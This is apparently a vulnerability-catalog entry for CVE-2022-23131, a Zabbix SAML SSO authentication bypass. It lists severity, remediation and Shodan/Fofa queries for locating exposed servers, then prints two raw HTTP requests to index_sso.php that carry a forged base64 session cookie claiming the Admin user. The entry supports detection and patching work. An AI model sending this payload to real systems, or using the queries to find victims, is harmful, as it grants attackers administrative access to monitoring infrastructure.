| Title | Zabbix - SAML SSO Authentication Bypass |
|---|---|
| Author | For3stCo1d,spac3wh1te |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix monitoring system. |
| Remediation | Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94301 |
| CVE ID | CVE-2022-23131 |
| CWE ID | CWE-290 |
| Shodan Query | http.favicon.hash:892542951http.title:"zabbix-server"cpe:"cpe:2.3:a:zabbix:zabbix" |
| Fofa Query | app="ZABBIX-监控系统" && body="saml"icon_hash=892542951app="zabbix-监控系统" && body="saml"title="zabbix-server" |
| Tags | cve cve2022 zabbix auth-bypass saml sso kev vkev vuln |
When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
GET /zabbix/index_sso.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Cookie: zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
Accept-Encoding: gzip
GET /index_sso.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Cookie: zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23131.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-23131.pcap
N/AN/A